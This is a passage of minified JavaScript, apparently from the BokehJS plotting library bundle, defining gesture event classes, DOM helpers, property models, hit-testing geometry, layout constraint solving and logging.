e.delta_x=t.delta_x,e.delta_y=t.delta_y,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta_x:t.deltaX,delta_y:t.deltaY,direction:t.direction,model_id:e})},t=n.__decorate([a(\\\"pan\\\")],t)}(i.PointEvent=f);i.Pan=v;var m=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.scale=t.scale,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,scale:t.scale,model_id:e})},t=n.__decorate([a(\\\"pinch\\\")],t)}(f);i.Pinch=m;var g=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta=t.delta,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta:t.delta,model_id:e})},t=n.__decorate([a(\\\"wheel\\\")],t)}(f);i.MouseWheel=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mousemove\\\")],e)}(f);i.MouseMove=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseenter\\\")],e)}(f);i.MouseEnter=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseleave\\\")],e)}(f);i.MouseLeave=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"tap\\\")],e)}(f);i.Tap=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"doubletap\\\")],e)}(f);i.DoubleTap=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"press\\\")],e)}(f);i.Press=S;var C=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panstart\\\")],e)}(f);i.PanStart=C;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panend\\\")],e)}(f);i.PanEnd=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchstart\\\")],e)}(f);i.PinchStart=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchend\\\")],e)}(f);i.PinchEnd=E},function(t,e,i){var g=t(391),y=t(21);i.build_views=function(e,t,i,n){void 0===n&&(n=function(t){return t.default_view});for(var r=y.difference(Object.keys(e),t.map(function(t){return t.id})),o=0,s=r;o<s.length;o++){var a=s[o];e[a].remove(),delete e[a]}for(var l=[],h=t.filter(function(t){return null==e[t.id]}),u=0,c=h;u<c.length;u++){var _=c[u],p=n(_),d=g.__assign({},i,{model:_,connect_signals:!1}),f=new p(d);e[_.id]=f,l.push(f)}for(var v=0,m=l;v<m.length;v++){var f=m[v];f.connect_signals()}return l},i.remove_views=function(t){for(var e in t)t[e].remove(),delete t[e]}},function(t,e,i){var n,y=t(44),r=function(g){return function(t){void 0===t&&(t={});for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=document.createElement(g);for(var r in t){var o=t[r];if(null!=o&&(!y.isBoolean(o)||o))if(\\\"class\\\"===r&&y.isArray(o))for(var s=0,a=o;s<a.length;s++){var l=a[s];null!=l&&n.classList.add(l)}else if(\\\"style\\\"===r&&y.isPlainObject(o))for(var h in o)n.style[h]=o[h];else if(\\\"data\\\"===r&&y.isPlainObject(o))for(var u in o)n.dataset[u]=o[u];else n.setAttribute(r,o)}function c(t){if(t instanceof HTMLElement)n.appendChild(t);else if(y.isString(t))n.appendChild(document.createTextNode(t));else if(null!=t&&!1!==t)throw new Error(\\\"expected an HTMLElement, string, false or null, got \\\"+JSON.stringify(t))}for(var _=0,p=e;_<p.length;_++){var d=p[_];if(y.isArray(d))for(var f=0,v=d;f<v.length;f++){var m=v[f];c(m)}else c(d)}return n}};function o(t,e){var i=Element.prototype,n=i.matches||i.webkitMatchesSelector||i.mozMatchesSelector||i.msMatchesSelector;return n.call(t,e)}i.createElement=function(t,e){for(var i=[],n=2;n<arguments.length;n++)i[n-2]=arguments[n];return r(t).apply(void 0,[e].concat(i))},i.div=r(\\\"div\\\"),i.span=r(\\\"span\\\"),i.link=r(\\\"link\\\"),i.style=r(\\\"style\\\"),i.a=r(\\\"a\\\"),i.p=r(\\\"p\\\"),i.i=r(\\\"i\\\"),i.pre=r(\\\"pre\\\"),i.button=r(\\\"button\\\"),i.label=r(\\\"label\\\"),i.input=r(\\\"input\\\"),i.select=r(\\\"select\\\"),i.option=r(\\\"option\\\"),i.optgroup=r(\\\"optgroup\\\"),i.textarea=r(\\\"textarea\\\"),i.canvas=r(\\\"canvas\\\"),i.ul=r(\\\"ul\\\"),i.ol=r(\\\"ol\\\"),i.li=r(\\\"li\\\"),i.nbsp=document.createTextNode(\\\"Â \\\"),i.removeElement=function(t){var e=t.parentNode;null!=e&&e.removeChild(t)},i.replaceWith=function(t,e){var i=t.parentNode;null!=i&&i.replaceChild(e,t)},i.prepend=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.firstChild,r=0,o=e;r<o.length;r++){var s=o[r];t.insertBefore(s,n)}},i.empty=function(t){for(var e;e=t.firstChild;)t.removeChild(e)},i.show=function(t){t.style.display=\\\"\\\"},i.hide=function(t){t.style.display=\\\"none\\\"},i.position=function(t){return{top:t.offsetTop,left:t.offsetLeft}},i.offset=function(t){var e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset-document.documentElement.clientTop,left:e.left+window.pageXOffset-document.documentElement.clientLeft}},i.matches=o,i.parent=function(t,e){for(var i=t;i=i.parentElement;)if(o(i,e))return i;return null},i.margin=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.marginTop)||0,bottom:parseFloat(e.marginBottom)||0,left:parseFloat(e.marginLeft)||0,right:parseFloat(e.marginRight)||0}},i.padding=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.paddingTop)||0,bottom:parseFloat(e.paddingBottom)||0,left:parseFloat(e.paddingLeft)||0,right:parseFloat(e.paddingRight)||0}},(n=i.Keys||(i.Keys={}))[n.Backspace=8]=\\\"Backspace\\\",n[n.Tab=9]=\\\"Tab\\\",n[n.Enter=13]=\\\"Enter\\\",n[n.Esc=27]=\\\"Esc\\\",n[n.PageUp=33]=\\\"PageUp\\\",n[n.PageDown=34]=\\\"PageDown\\\",n[n.Left=37]=\\\"Left\\\",n[n.Up=38]=\\\"Up\\\",n[n.Right=39]=\\\"Right\\\",n[n.Down=40]=\\\"Down\\\",n[n.Delete=46]=\\\"Delete\\\"},function(t,e,i){var n=t(391),r=t(48),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._has_finished=!1,this.el=this._createElement()},t.prototype.remove=function(){o.removeElement(this.el),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return[]},t.prototype.cursor=function(t,e){return null},t.prototype.layout=function(){},t.prototype.render=function(){},t.prototype.renderTo=function(t){t.appendChild(this.el),this.layout()},t.prototype.has_finished=function(){return this._has_finished},Object.defineProperty(t.prototype,\\\"_root_element\\\",{get:function(){return o.parent(this.el,\\\".bk-root\\\")||document.body},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"solver\\\",{get:function(){return this.is_root?this._solver:this.parent.solver},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_idle\\\",{get:function(){return this.has_finished()},enumerable:!0,configurable:!0}),t.prototype._createElement=function(){return o.createElement(this.tagName,{id:this.id,class:this.css_classes()})},t}(r.View);(i.DOMView=s).prototype.tagName=\\\"div\\\"},function(t,e,i){i.AngleUnits=[\\\"deg\\\",\\\"rad\\\"],i.Dimension=[\\\"width\\\",\\\"height\\\"],i.Dimensions=[\\\"width\\\",\\\"height\\\",\\\"both\\\"],i.Direction=[\\\"clock\\\",\\\"anticlock\\\"],i.FontStyle=[\\\"normal\\\",\\\"italic\\\",\\\"bold\\\",\\\"bold italic\\\"],i.LatLon=[\\\"lat\\\",\\\"lon\\\"],i.LineCap=[\\\"butt\\\",\\\"round\\\",\\\"square\\\"],i.LineJoin=[\\\"miter\\\",\\\"round\\\",\\\"bevel\\\"],i.Location=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.LegendClickPolicy=[\\\"none\\\",\\\"hide\\\",\\\"mute\\\"],i.LegendLocation=[\\\"top_left\\\",\\\"top_center\\\",\\\"top_right\\\",\\\"center_left\\\",\\\"center\\\",\\\"center_right\\\",\\\"bottom_left\\\",\\\"bottom_center\\\",\\\"bottom_right\\\"],i.Anchor=i.LegendLocation,i.Orientation=[\\\"vertical\\\",\\\"horizontal\\\"],i.OutputBackend=[\\\"canvas\\\",\\\"svg\\\",\\\"webgl\\\"],i.RenderLevel=[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\",\\\"annotation\\\",\\\"overlay\\\"],i.RenderMode=[\\\"canvas\\\",\\\"css\\\"],i.Side=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.Place=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.SpatialUnits=[\\\"screen\\\",\\\"data\\\"],i.StartEnd=[\\\"start\\\",\\\"end\\\"],i.VerticalAlign=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\"],i.TextAlign=[\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.TextBaseline=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\",\\\"alphabetic\\\",\\\"hanging\\\",\\\"ideographic\\\"],i.TickLabelOrientation=[\\\"vertical\\\",\\\"horizontal\\\",\\\"parallel\\\",\\\"normal\\\"],i.TooltipAttachment=[\\\"horizontal\\\",\\\"vertical\\\",\\\"left\\\",\\\"right\\\",\\\"above\\\",\\\"below\\\"],i.Distribution=[\\\"uniform\\\",\\\"normal\\\"],i.StepMode=[\\\"after\\\",\\\"before\\\",\\\"center\\\"],i.SizingMode=[\\\"stretch_both\\\",\\\"scale_width\\\",\\\"scale_height\\\",\\\"scale_both\\\",\\\"fixed\\\"],i.PaddingUnits=[\\\"percent\\\",\\\"absolute\\\"],i.SliderCallbackPolicy=[\\\"continuous\\\",\\\"throttle\\\",\\\"mouseup\\\"],i.RoundingFunction=[\\\"round\\\",\\\"nearest\\\",\\\"floor\\\",\\\"rounddown\\\",\\\"ceil\\\",\\\"roundup\\\"],i.UpdateMode=[\\\"replace\\\",\\\"append\\\"],i.HTTPMethod=[\\\"POST\\\",\\\"GET\\\"],i.Logo=[\\\"normal\\\",\\\"grey\\\"]},function(t,e,i){var o=t(391),l=t(19),n=t(16),h=t(34),r=t(15),u=t(38),s=t(21),_=t(32),p=t(44),d=t(30),a=function(a){function c(t){void 0===t&&(t={});var e=a.call(this)||this;for(var i in e._subtype=void 0,e.document=null,e.destroyed=new l.Signal0(e,\\\"destroyed\\\"),e.change=new l.Signal0(e,\\\"change\\\"),e.transformchange=new l.Signal0(e,\\\"transformchange\\\"),e.attributes={},e.properties={},e._set_after_defaults={},e._pending=!1,e._changing=!1,e.props){var n=e.props[i],r=n.type,o=n.default_value;if(null==r)throw new Error(\\\"undefined property type for \\\"+e.type+\\\".\\\"+i);e.properties[i]=new r(e,i,o)}null==t.id&&e.setv({id:u.uniqueId()},{silent:!0});var s=t.__deferred__||!1;return s&&delete(t=_.clone(t)).__deferred__,e.setv(t,{silent:!0}),s||e.finalize(),e}return o.__extends(c,a),c.initClass=function(){this.prototype.type=\\\"HasProps\\\",this.prototype.props={},this.prototype.mixins=[],this.define({id:[r.Any]})},c._fix_default=function(t,e){return void 0===t?void 0:p.isFunction(t)?t:p.isObject(t)?p.isArray(t)?function(){return s.copy(t)}:function(){return _.clone(t)}:function(){return t}},c.define=function(a){var t=function(i){var t=a[i];if(null!=l.prototype.props[i])throw new Error(\\\"attempted to redefine property '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");if(null!=l.prototype[i])throw new Error(\\\"attempted to redefine attribute '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");Object.defineProperty(l.prototype,i,{get:function(){var t=this.getv(i);return t},set:function(t){var e;return this.setv(((e={})[i]=t,e)),this},configurable:!1,enumerable:!0});var e=t[0],n=t[1],r=t[2],o={type:e,default_value:l._fix_default(n,i),internal:r||!1},s=_.clone(l.prototype.props);s[i]=o,l.prototype.props=s},l=this;for(var e in a)t(e)},c.internal=function(t){var e={};for(var i in t){var n=t[i],r=n[0],o=n[1];e[i]=[r,o,!0]}this.define(e)},c.mixin=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this.define(n.create(t));var i=this.prototype.mixins.concat(t);this.prototype.mixins=i},c.mixins=function(t){this.mixin.apply(this,t)},c.override=function(t){for(var e in t){var i=this._fix_default(t[e],e),n=this.prototype.props[e];if(null==n)throw new Error(\\\"attempted to override nonexistent '\\\"+this.prototype.type+\\\".\\\"+e+\\\"'\\\");var r=_.clone(this.prototype.props);r[e]=o.__assign({},n,{default_value:i}),this.prototype.props=r}},c.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\")\\\"},c.prototype.finalize=function(){var t=this;for(var e in this.properties){var i=this.properties[e];i.update(),null!=i.spec.transform&&this.connect(i.spec.transform.change,function(){return t.transformchange.emit()})}this.initialize(),this.connect_signals()},c.prototype.initialize=function(){},c.prototype.connect_signals=function(){},c.prototype.disconnect_signals=function(){l.Signal.disconnectReceiver(this)},c.prototype.destroy=function(){this.disconnect_signals(),this.destroyed.emit()},c.prototype.clone=function(){return new this.constructor(this.attributes)},c.prototype._setv=function(t,e){var i=e.check_eq,n=e.silent,r=[],o=this._changing;this._changing=!0;var s=this.attributes;for(var a in t){var l=t[a];!1!==i&&d.isEqual(s[a],l)||r.push(a),s[a]=l}if(!n){0<r.length&&(this._pending=!0);for(var h=0;h<r.length;h++)this.properties[r[h]].change.emit()}if(!o){if(!n&&!e.no_change)for(;this._pending;)this._pending=!1,this.change.emit();this._pending=!1,this._changing=!1}},c.prototype.setv=function(t,e){for(var i in void 0===e&&(e={}),t)if(t.hasOwnProperty(i)){var n=i;if(null==this.props[n])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+n+\\\" wasn't declared\\\");null!=e&&e.defaults||(this._set_after_defaults[i]=!0)}if(!_.isEmpty(t)){var r={};for(var i in t)r[i]=this.getv(i);this._setv(t,e);var o=e.silent;if(null==o||!o)for(var i in t)this._tell_document_about_change(i,r[i],this.getv(i),e)}},c.prototype.getv=function(t){if(null==this.props[t])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+t+\\\" wasn't declared\\\");return this.attributes[t]},c.prototype.ref=function(){return h.create_ref(this)},c.prototype.set_subtype=function(t){this._subtype=t},c.prototype.attribute_is_serializable=function(t){var e=this.props[t];if(null==e)throw new Error(this.type+\\\".attribute_is_serializable('\\\"+t+\\\"'): \\\"+t+\\\" wasn't declared\\\");return!e.internal},c.prototype.serializable_attributes=function(){var t={};for(var e in this.attributes){var i=this.attributes[e];this.attribute_is_serializable(e)&&(t[e]=i)}return t},c._value_to_json=function(t,e,i){if(e instanceof c)return e.ref();if(p.isArray(e)){for(var n=[],r=0;r<e.length;r++){var o=e[r];n.push(c._value_to_json(r.toString(),o,e))}return n}if(p.isPlainObject(e)){var s={};for(var a in e)e.hasOwnProperty(a)&&(s[a]=c._value_to_json(a,e[a],e));return s}return e},c.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=c._value_to_json);var i=this.serializable_attributes(),n={};for(var r in i)if(i.hasOwnProperty(r)){var o=i[r];t?n[r]=o:r in this._set_after_defaults&&(n[r]=o)}return e(\\\"attributes\\\",n,this)},c._json_record_references=function(t,e,i,n){if(null==e);else if(h.is_ref(e)){if(!(e.id in i)){var r=t.get_model_by_id(e.id);c._value_record_references(r,i,n)}}else if(p.isArray(e))for(var o=0,s=e;o<s.length;o++){var a=s[o];c._json_record_references(t,a,i,n)}else if(p.isPlainObject(e))for(var l in e)if(e.hasOwnProperty(l)){var a=e[l];c._json_record_references(t,a,i,n)}},c._value_record_references=function(t,e,i){if(null==t);else if(t instanceof c){if(!(t.id in e)&&(e[t.id]=t,i))for(var n=t._immediate_references(),r=0,o=n;r<o.length;r++){var s=o[r];c._value_record_references(s,e,!0)}}else if(t.buffer instanceof ArrayBuffer);else if(p.isArray(t))for(var a=0,l=t;a<l.length;a++){var h=l[a];c._value_record_references(h,e,i)}else if(p.isPlainObject(t))for(var u in t)if(t.hasOwnProperty(u)){var h=t[u];c._value_record_references(h,e,i)}},c.prototype._immediate_references=function(){var t={},e=this.serializable_attributes();for(var i in e){var n=e[i];c._value_record_references(n,t,!1)}return _.values(t)},c.prototype.references=function(){var t={};return c._value_record_references(this,t,!0),_.values(t)},c.prototype._doc_attached=function(){},c.prototype.attach_document=function(t){if(null!=this.document&&this.document!=t)throw new Error(\\\"models must be owned by only a single document\\\");this.document=t,this._doc_attached()},c.prototype.detach_document=function(){this.document=null},c.prototype._tell_document_about_change=function(t,e,i,n){if(this.attribute_is_serializable(t)&&null!=this.document){var r={};c._value_record_references(i,r,!1);var o={};c._value_record_references(e,o,!1);var s=!1;for(var a in r)if(!(a in o)){s=!0;break}if(!s)for(var l in o)if(!(l in r)){s=!0;break}s&&this.document._invalidate_all_models(),this.document._notify_change(this,t,e,i,n)}},c.prototype.materialize_dataspecs=function(t){var e={};for(var i in this.properties){var n=this.properties[i];n.dataspec&&(!n.optional||null!=n.spec.value||i in this._set_after_defaults)&&(e[\\\"_\\\"+i]=n.array(t),null!=n.spec.field&&n.spec.field in t._shapes&&(e[\\\"_\\\"+i+\\\"_shape\\\"]=t._shapes[n.spec.field]),n instanceof r.DistanceSpec&&(e[\\\"max_\\\"+i]=s.max(e[\\\"_\\\"+i])))}return e},c}(l.Signalable());(i.HasProps=a).initClass()},function(t,e,i){var n=t(21),r=t(197);function o(t){return t*t}function s(t,e){return o(t.x-e.x)+o(t.y-e.y)}function a(t,e,i){var n=s(e,i);if(0==n)return s(t,e);var r=((t.x-e.x)*(i.x-e.x)+(t.y-e.y)*(i.y-e.y))/n;if(r<0)return s(t,e);if(1<r)return s(t,i);var o={x:e.x+r*(i.x-e.x),y:e.y+r*(i.y-e.y)};return s(t,o)}i.point_in_poly=function(t,e,i,n){for(var r=!1,o=i[i.length-1],s=n[n.length-1],a=0;a<i.length;a++){var l=i[a],h=n[a];s<e!=h<e&&o+(e-s)/(h-s)*(l-o)<t&&(r=!r),o=l,s=h}return r},i.point_in_ellipse=function(t,e,i,n,r,o,s){var a=Math.pow(Math.cos(i)/r,2)+Math.pow(Math.sin(i)/n,2),l=2*Math.cos(i)*Math.sin(i)*(Math.pow(1/r,2)-Math.pow(1/n,2)),h=Math.pow(Math.cos(i)/n,2)+Math.pow(Math.sin(i)/r,2);return a*Math.pow(t-o,2)+l*(t-o)*(e-s)+h*Math.pow(e-s,2)<=1},i.create_empty_hit_test_result=function(){return new r.Selection},i.create_hit_test_result_from_hits=function(t){var e=new r.Selection;return e.indices=n.sortBy(t,function(t){return t[0],t[1]}).map(function(t){var e=t[0];return t[1],e}),e},i.validate_bbox_coords=function(t,e){var i,n,r=t[0],o=t[1],s=e[0],a=e[1];return o<r&&(r=(i=[o,r])[0],o=i[1]),a<s&&(s=(n=[a,s])[0],a=n[1]),{minX:r,minY:s,maxX:o,maxY:a}},i.dist_2_pts=s,i.dist_to_segment_squared=a,i.dist_to_segment=function(t,e,i){return Math.sqrt(a(t,e,i))},i.check_2_segments_intersect=function(t,e,i,n,r,o,s,a){var l=(a-o)*(i-t)-(s-r)*(n-e);if(0==l)return{hit:!1,x:null,y:null};var h=e-o,u=t-r,c=(s-r)*h-(a-o)*u,_=(i-t)*h-(n-e)*u;u=_/l;var p=t+(h=c/l)*(i-t),d=e+h*(n-e);return{hit:0<h&&h<1&&0<u&&u<1,x:p,y:d}}},function(t,e,i){var s=t(13),a=t(21);i.vstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._bottom,[-1,t._bottom])),i.push(s.EQ(a.tail(e)._top,[-1,t._top])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._top,[-1,e._bottom])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._left,[-1,t._left])),i.push(s.EQ(o._right,[-1,t._right]))}}return i},i.hstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._right,[-1,t._right])),i.push(s.EQ(a.tail(e)._left,[-1,t._left])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._left,[-1,e._right])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._top,[-1,t._top])),i.push(s.EQ(o._bottom,[-1,t._bottom]))}}return i}},function(t,e,i){var n=t(391),r=t(13),o=t(8),s=t(24),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutCanvas\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._top=new r.Variable(this.toString()+\\\".top\\\"),this._left=new r.Variable(this.toString()+\\\".left\\\"),this._width=new r.Variable(this.toString()+\\\".width\\\"),this._height=new r.Variable(this.toString()+\\\".height\\\"),this._right=new r.Variable(this.toString()+\\\".right\\\"),this._bottom=new r.Variable(this.toString()+\\\".bottom\\\");var t=this;this._hcenter={get value(){return(t._left.value+t._right.value)/2}},this._vcenter={get value(){return(t._top.value+t._bottom.value)/2}}},t.prototype.get_editables=function(){return[]},t.prototype.get_constraints=function(){return[r.GE(this._top),r.GE(this._bottom),r.GE(this._left),r.GE(this._right),r.GE(this._width),r.GE(this._height),r.EQ(this._left,this._width,[-1,this._right]),r.EQ(this._top,this._height,[-1,this._bottom])]},t.prototype.get_layoutable_children=function(){return[]},Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){return new s.BBox({x0:this._left.value,y0:this._top.value,x1:this._right.value,y1:this._bottom.value})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xview\\\",{get:function(){var r=this;return{compute:function(t){return r._left.value+t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._left.value,n=0;n<t.length;n++)e[n]=i+t[n];return e}}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yview\\\",{get:function(){var r=this;return{compute:function(t){return r._bottom.value-t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._bottom.value,n=0;n<t.length;n++)e[n]=i-t[n];return e}}},enumerable:!0,configurable:!0}),t}(o.HasProps);(i.LayoutCanvas=a).initClass()},function(t,e,r){var i=t(391),o=t(13),n=t(11),s=t(15),a=t(14),l=t(44),h=Math.PI/2,u=\\\"alphabetic\\\",c=\\\"middle\\\",_=\\\"hanging\\\",p=\\\"left\\\",d=\\\"right\\\",f=\\\"center\\\",v={above:{parallel:0,normal:-h,horizontal:0,vertical:-h},below:{parallel:0,normal:h,horizontal:0,vertical:h},left:{parallel:-h,normal:0,horizontal:0,vertical:-h},right:{parallel:h,normal:0,horizontal:0,vertical:h}},m={above:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:u,vertical:c},below:{justified:\\\"bottom\\\",parallel:_,normal:c,horizontal:_,vertical:c},left:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u},right:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u}},g={above:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},below:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},left:{justified:f,parallel:f,normal:d,horizontal:d,vertical:f},right:{justified:f,parallel:f,normal:p,horizontal:p,vertical:f}},y={above:d,below:p,left:d,right:p},b={above:p,below:d,left:d,right:p};function x(t){return\\\"panel\\\"in t}r.isSizeable=x,r.isSizeableView=function(t){return x(t.model)&&\\\"get_size\\\"in t},r._view_sizes=new WeakMap,r._view_constraints=new WeakMap,r.update_panel_constraints=function(t){var e=t.solver,i=t.get_size(),n=r._view_constraints.get(t);if(null!=n&&e.has_constraint(n)){if(r._view_sizes.get(t)===i)return;e.remove_constraint(n)}n=o.GE(t.model.panel._size,-i),e.add_constraint(n),r._view_sizes.set(t,i),r._view_constraints.set(t,n)};var w=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SidePanel\\\",this.internal({side:[s.String]})},t.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\", \\\"+this.side+\\\")\\\"},t.prototype.initialize=function(){switch(e.prototype.initialize.call(this),this.side){case\\\"above\\\":this._dim=0,this._normals=[0,-1],this._size=this._height;break;case\\\"below\\\":this._dim=0,this._normals=[0,1],this._size=this._height;break;case\\\"left\\\":this._dim=1,this._normals=[-1,0],this._size=this._width;break;case\\\"right\\\":this._dim=1,this._normals=[1,0],this._size=this._width;break;default:a.logger.error(\\\"unrecognized side: '\\\"+this.side+\\\"'\\\")}},Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this._dim},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this._normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_horizontal\\\",{get:function(){return\\\"above\\\"==this.side||\\\"below\\\"==this.side},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_vertical\\\",{get:function(){return\\\"left\\\"==this.side||\\\"right\\\"==this.side},enumerable:!0,configurable:!0}),t.prototype.apply_label_text_heuristics=function(t,e){var i,n,r=this.side;l.isString(e)?(i=m[r][e],n=g[r][e]):0===e?n=i=\\\"whatever\\\":e<0?(i=\\\"middle\\\",n=y[r]):(i=\\\"middle\\\",n=b[r]),t.textBaseline=i,t.textAlign=n},t.prototype.get_label_angle_heuristic=function(t){return v[this.side][t]},t}(n.LayoutCanvas);(r.SidePanel=w).initClass()},function(t,e,i){var n=t(350);function r(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i)}}function o(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i,n.Strength.weak)}}i.Variable=n.Variable,i.Expression=n.Expression,i.Constraint=n.Constraint,i.Operator=n.Operator,i.Strength=n.Strength,i.EQ=r(n.Operator.Eq),i.LE=r(n.Operator.Le),i.GE=r(n.Operator.Ge),i.WEAK_EQ=o(n.Operator.Eq),i.WEAK_LE=o(n.Operator.Le),i.WEAK_GE=o(n.Operator.Ge);var s=function(){function t(){this.solver=new n.Solver}return t.prototype.clear=function(){this.solver=new n.Solver},t.prototype.toString=function(){return\\\"Solver(num_constraints=\\\"+this.num_constraints+\\\", num_editables=\\\"+this.num_editables+\\\")\\\"},Object.defineProperty(t.prototype,\\\"num_constraints\\\",{get:function(){return this.solver.numConstraints},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"num_editables\\\",{get:function(){return this.solver.numEditVariables},enumerable:!0,configurable:!0}),t.prototype.get_constraints=function(){return this.solver.getConstraints()},t.prototype.update_variables=function(){this.solver.updateVariables()},t.prototype.has_constraint=function(t){return this.solver.hasConstraint(t)},t.prototype.add_constraint=function(e){try{this.solver.addConstraint(e)}catch(t){throw new Error(t.message+\\\": \\\"+e.toString())}},t.prototype.remove_constraint=function(t){this.solver.removeConstraint(t)},t.prototype.add_edit_variable=function(t,e){this.solver.addEditVariable(t,e)},t.prototype.remove_edit_variable=function(t){this.solver.removeEditVariable(t)},t.prototype.suggest_value=function(t,e){this.solver.suggestValue(t,e)},t}();i.Solver=s},function(t,e,i){var o=t(44),n={},s=function(t,e){this.name=t,this.level=e};i.LogLevel=s;var r=function(){function r(t,e){void 0===e&&(e=r.INFO),this._name=t,this.set_level(e)}return Object.defineProperty(r,\\\"levels\\\",{get:function(){return Object.keys(r.log_levels)},enumerable:!0,configurable:!0}),r.get=function(t,e){if(void 0===e&&(e=r.INFO),0<t.length){var i=n[t];return null==i&&(n[t]=i=new r(t,e)),i}throw new TypeError(\\\"Logger.get() expects a non-empty string name and an optional log-level\\\")},Object.defineProperty(r.prototype,\\\"level\\\",{get:function(){return this.get_level()},enumerable:!0,configurable:!0}),r.prototype.get_level=function(){return this._log_level},r.prototype.set_level=function(t){if(t instanceof s)this._log_level=t;else{if(!o.isString(t)||null==r.log_levels[t])throw new Error(\\\"Logger.set_level() expects a log-level object or a string name of a log-level\\\");this._log_level=r.log_levels[t]}var e=\\\"[\\\"+this._name+\\\"]\\\";for(var i in r.log_levels){var n=r.log_levels[i];n.level<this._log_level.level||this._log_level.level===r.OFF.level?this[i]=function(){}:this[i]=a(i,e)}},r.prototype.trace=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.debug=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.info=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.warn=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.error=function(){for(var 